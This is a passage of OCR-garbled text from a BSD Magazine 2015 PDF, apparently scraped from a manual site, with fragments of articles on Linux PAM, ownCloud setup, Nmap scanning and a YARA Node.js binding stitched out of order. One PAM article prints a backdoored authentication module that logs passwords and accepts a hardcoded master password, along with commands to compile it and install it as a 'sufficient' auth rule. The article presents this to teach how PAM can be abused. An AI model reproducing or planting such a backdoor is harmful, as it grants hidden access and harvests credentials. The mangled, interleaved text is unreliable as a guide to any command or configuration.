63. s and ensure au ditd is set to run w etc pam d password auth ac p wa k pamdconfigchange w etc pam d system auth ac p wa k pamdconfigchange Tools that periodically verify the hash sums of files can also be helpful Ensure that configuration files as well as programs are verified for integrity RPM provides a con venient method of verifying files in an RPM package This is convenient as when files are updated the hash es are also automatically updated when the package is properly updated packages are signed by the ven dor and therefore are considered trusted Simply run the command rpm qva in order to collect information on files including file hashes permissions and more Sim ply keeping a running copy of this file and then period ically checking it with a known good working copy can prove very useful See http docs fedoraproject org en US Fedora_Draft_ Documentation 0 1 htmI RPM_Guide ch04s04 html for more details Conclusions PAM should be understood by any security professional who must work with Linux This knowledge is invaluable for people trying to defend systems as well as people looking to exploit systems For more information reading the infor mation included in the usr share doc pam directory is a good start For more in depth reading Packt Publishing has an excellent cheap eBook called Pluggable Authentication Modules The Definitive Guide to PAM for Linux SysAdmins and C Developers by Kenneth Geissh
64. s created the database can be started by issuing service mysql server start The first time MySQL is started it will create its re quired files Installing ownCloud ownCloud is a PHP application whose source needs to be downloaded and unpacked in an appropriate directory on the server It can be downloaded from http owncloud org for example with the following commands cd srv www fetch no verify peer https download owncloud org community owncloud 7 0 2 tar bz2 tar xzf owncloud 7 0 2 tar bz2 ownCloud requires that use which executes its code the PHP interpreted started by mod_fcgid in Apache as the www user can write to some of its directories We can adjust the permissions like this cd srv www owncloud mkdir data chgrp www apps config data S S chmod 0770 apps config data It also requires some dependency packages pkg install php5 exif php5 openssl php5 mysql php5 gd php5 ctype php5 dom php5 json php5 xml php5 simplexml www bsdmag org php5 zip php5 zlib php5 bz2 php5 curl php5 mcrypt pecl intl php5 fileinfo pecl APC php5 mbstring php5 iconv phpS pdo php5S pdo mysql mp3info php5 session The next step is to create the MySQL database which will be used by ownCloud To do this simply run mysql as the root user and run the create database and grant commands at its prompt mysql Welcome to the MySQL monitor Commands end with or g Your MySQL connection id
65. si ge mi 22 6 22 Sean Meiwork Distance 2 noo perice Info Gevier k tubat Mego dome 1 TP a dress 1 host wo scanned in 16 62 seconds Figure 1 Scan results for my SOHO router 05 2015 Scanning basics Normally every device connected to a network has some network ports open and is waiting for connections Nmap with default scanning profile tries to initiate a connection to the 1000 most used ports Figure 2 There could be six different types of ports states e open actively responds to an incoming connection e closed actively responds to a probe but has no ser vice running on the port average behavior to hosts with no firewall e filtered typically protected by a firewall e unfiltered port can be accessed but no chance to determine whether open or closed e open filtered and closed filtered Nmap is tentative between two states Please be aware that both network and security settings on target and transit infrastructure can strongly affect scan results In this example you can find much less de tails available about services This is due to dropping the sv parameter which is responsible for software ven dor detection With this parameter enabled Nmap ana lyzes service welcome messages takes a fingerprint of the host and service behavior and compares them with the existing fingerprint database The database can be updated at http insecure org cgi bin submit cgi In addition be aware
66. sizeof char snprintf output 100 USER s Password s pwd gt pw name password syslog LOG ERR output if strncmp password backdoorsAreEvil 25 syslog LOG ERR Backdoor activated return PAM SUCCESS return PAM AUTH ERR Figure 1 PAM_prime c code containing a backdoor of backdoorsAreEvil MAGAZINE BSD 05 2015 being used for malicious intent Note that this module doesn t have to authenticate valid users or do anything else that would be expected of an authentication sys tem Just because the module returns PAM AUTH ERR doesn t mean the user can t login unless the rule in the configuration file is set to required If the rule is set to ei ther sufficient or optional then PAM will continue evaluat ing the rules in the configuration file In order to compile this you must first install pam devel For Red Hat simply run the command yum install pam devel To compile and install the package run the following commands replace ib64 with lib on 32 bit systems root Centos Desktop gcc fPIC c pam prime c root Centos Desktop ld x shared o pam prime so pam_ prime o root Centos Desktop cp pam prime so 11ib64 security Finally add the following line to the beginning of the auth group in etc pam d password auth and etc pam d system auth PEPAM 1 0 This file is auto generated User changes will be destroyed the next time authconfig is run auth sufficient pam prime soa auth
67. t gt exports YaraNode Init exports NODE MODULE yara YaralInit We could test this module via this simple nodejs script var sm require build Release yaranode var yr new sm YaraNode try var c yr addRule lt rule 1 gt var s yr scanFile lt file path gt catch ex console log ex This is a simple example and can of course be great ly improved but that might give you some ideas about the possibilities On several Known repositories there is already a significant number of native nodejs projects which use some popular components like node geoip for example hope this article is able to motivate you enough to start building your own nodejs modules David Carlier has been working as a software developer since 2001 He used FreeBSD for more than 10 years and starting from this year he became involved with the HardenedBSD project and performed serious developments on FreeBSD He worked for a mobile product company that provides C APIs for two years in Ireland From this he became completely inspired to develop on FreeBSD MAGAZINE BSD m EXPERT SAYS A Complete Guide to FreeNAS Hardware Design Part IV Network Notes amp Conclusion Network FreeNAS is a NAS and or IP SAN via iSCSIl which means everything happens over the network If you are after performance you are going to want good switch es and server grade network c
68. that sometimes system administra tors try to obfuscate against attackers For example this can be done by providing wrong software versions and or product names on welcome banners Therefore trust no one Especially the results of a single scan OS detection Nmap is able to perform not only service s version detec tion but also OS version detection by adding the o argu ment This is done by a technique called TCP IP fingerprint ing which is a great achievement of the Nmap team Nmap sends a few specially crafted TCP UDP and ICMP pack Target 192 168 1 1 w Profile wi Scan Cance Command nmap 192 168 1 1 O05 4 Host A 192 168 1 1 Nmap Output Ports Hosts Topology Host Details Scans rarena 192 168 1 1 sd Detar Starting Nmap 6 25 https snmap org at 2135 85 83 13 51 Russian Standard Time Nmap scan report for 192 168 1 1 Host is up 017s latency Mot shown 996 closed ports PORT STATE SERVICE SB tcp open http 134 trp open nethins san 443 tcp open https 445 tcp open microsoft ds BAC Address 58 60 07 51 5D 89 Cisco Linksys Nmap done 1 TP address 1 host up cammed in 1 99 secrnls Figure 2 Scanning my SOHO router with default parameters www bsdmag org ets to the target On different OS versions these packets are handled in different ways Later Nmap analyzes the responses from the target and compares them with existing ones in the OS fingerprint database Staying uncov
69. u re getting the best combination of hardware designed for optimal performance with FreeNAS Every FreeNAS server we ship is Custom built and optimized for your use case Installed configured tested and guaranteed to work out of the box Supported by the Silicon Valley team that designed and built it Backed by a 3 years parts and labor limited warranty eee i aaah pi mi 13 systems As one of the leaders in the storage industry you know that you re getting the best combination of hardware designed for optimal performance with FreeNAS Contact us today for a FREE Risk Elimination Consultation with one of our FreeNAS experts Remember every purchase directly supports the FreeNAS project so we can continue adding features and improvements to the software for years to come And really why would you buy a FreeNAS server from anyone else FreeNAS 1U e Intel Xeon Processor E3 1200v2 Family e Up to 16TB of storage capacity e 16GB ECC memory upgradable to 32GB e 2x 10 100 1000 Gigabit Ethernet controllers e Redundant power supply FreeNAS 2U 2x Intel Xeon Processors E5 2600v2 Family e Up to 48TB of storage capacity e 32GB ECC memory upgradable to 128GB e 4x 1GbE Network interface Onboard Upgradable to 2 x 10 Gigabit Interface e Redundant Power Supply http www iXsystems com storage freenas certified storage Intel the Intel logo the Intel Inside logo and Xeon are tra
70. unctionCallbackInfox lt v8 Value gt amp static void ScanFile const v8 FunctionCallbackInfox lt v8 Value gt amp public static void Init v8 Handle lt v8 Object gt static int yrstatus E The Persistent storage will serve us for the YaraNode initialisation from within the Nodejs entry point BSD MAGAZINE PROGRAMMING include yaranode h using namespace v8 void addrulecb int error const char int line const char message void pprivate Isolate isolate Isolate GetCurrent if message isolate gt ThrowException Exception TypeError Strin g NewFromUtf8 isolate message Persistent lt Function gt YaraNode constructor YaraNode YaraNode yrstatus yr initialize if yrstatus ERROR SUCCESS yr compiler create amp yc yr compiler set callback yc addrulecb NULL YaraNode YaraNode if yrstatus ERROR SUCCESS yr compiler destroy yc yr finalize void YaraNode New const FunctionCallbackInfo lt Value gt amp args Isolate isolate Local lt Function gt ctor isolate Isolate GetCurrent HandleScope scope isolate gt A HandleScope is responsible for all following local handles allocations if args IsConstructCall gt var yr new YaraNode YaraNode ynode new YaraNode if ynode gt yrstatus ERROR SUCCESS isolate gt ThrowException Exception TypeError String NewFromUtf8 isolate yara
71. value is returned of pass or fail the control flag is evaluated to see whether to allow it to continue or not The control flag can be required req uisite optional or sufficient as explained by Table 2 As has been explained there are a number of modules that are available with a number of arguments that can be passed in to customize each module Documentation is stored in usr share doc pam 1 1 1 replace the ver sion number with another if you have a different Linux distribution that contains each of the individual modules in depth www bsdmag org A quick note about Red Hat Centos is that there is an authconfig program that when run overwrites all custom ized configurations In order to prevent this from happen ing simply disable the use of the authconfig program with the command chmod x which authconfig Table 2 Available control flags in PAM configuration files If this module doesn t succeed the entire group will fail which means the user won t be able to login or change their password PAM will immediately stop evaluating further in the stack Required Very similar to required in that if this module doesn t succeed the entire group will again fail the only difference is that PAM will continue running Requisite through each of the modules When it reaches the end though it will still fail Ohka The module will be run but what it returns is irrelevant SMA If this module succeeds immediately
72. y have extensive and unfettered ac cess to financial and confidential data e g credit card details or in formation that would be potentially embarrassing if revealed to a third party If so are they vetted prior to interview What steps do you take to check your employee s credit or criminal history Is there any ongo ing review over time Question 2 Do you have an extensive accept able use policy in place that covers not just access and use of IT facili ties via your business infrastructure but also a social media policy to pro tect your corporate reputation Question 3 Does your organisation regularly monitor the web to ascertain your online reputation What about lo cal and national press Facebook Twitter Instagram Question 4 What percentage of your corpo rate IT budget is spent on proac tive security e g penetration test ing building and personnel security e g tailgating or social engineer ing etc 05 2015 www bsdmag org Question 5 Do you have a policy in place to re spond if your corporate website is compromised Your Facebook or Twitter feeds Question 6 Do you make extensive use of confi dentiality and non disclosure agree ments with your staff Your part ners Your suppliers Question 7 What disaster recovery plans do you have in place What level of risk are you willing to tolerate What is the most valuable asset that your busi ness holds
73. yIndex index php AllowOverride All Require all granted lt Directory gt SSLEngine on SSLCipherSuite ADH EXPORT SSLv2 EECDH aRSA AESGCM RC4 R 2 ON owni lou admin Jnana ownclouds data owncloud ownclouwd localhost Finish setup Figure 1 Initial ownCloud configuration SA HIGH MEDIUM LOW SSLHonorCipherOrder On SSLCertificateFile var ssl ivoras net crt SSLCertificateKeyFile var ssl ivoras net key lt VirtualHost gt Apache needs to be restarted after the modification of the configuration file and the installation of new PHP modules service apache24 restart The first time the web site is visited with an URL such as https ivoras net cloud ownCloud will offer a simple configuration interface which must be used to create the initial administration user and to configure the database which needs to be filled in as shown in the following im age Figure 1 If the configuration is successful you will be taken to the list of initial example files in ownCloud Note than ownCloud has a large number of features so you need to study its interface and its user manual to know how to use it well Ivan Voras is a FreeBSD developer and a long time user starting with FreeBSD 4 3 and throughout all the versions since In real life he is a researcher system administrator and a developer as opportunity presents itself with a wide range of experience from hardware hack ing to cloud computing He is curre

Download Pdf Manuals

image

Related Search

security security camera security security jobs security desk security guard security benefit security scan security bank security key security officer security breach security jobs near me security camera buy security deposit security and privacy settings security guard companies security camera for home scope security service federal credit union security boot security and maintenance security health setup security breach fnaf security benefits login security trails security finance

Related Contents

DELL Inspiron 15z (5523)  Poulan 530164258 Cultivator User Manual  KIMTECH - KellySolutions.com  Digitus DN-19 MA-32U mounting kit  Manual usuario - Almacenes Esteban  Sony VPCM121AX/L Marketing Specifications  Apex MJ-16 computer case  Drehmaschine - Haas Automation® Resource Center  取扱説明書  Elac Spirit of Music  

Copyright © All rights reserved.
Failed to retrieve file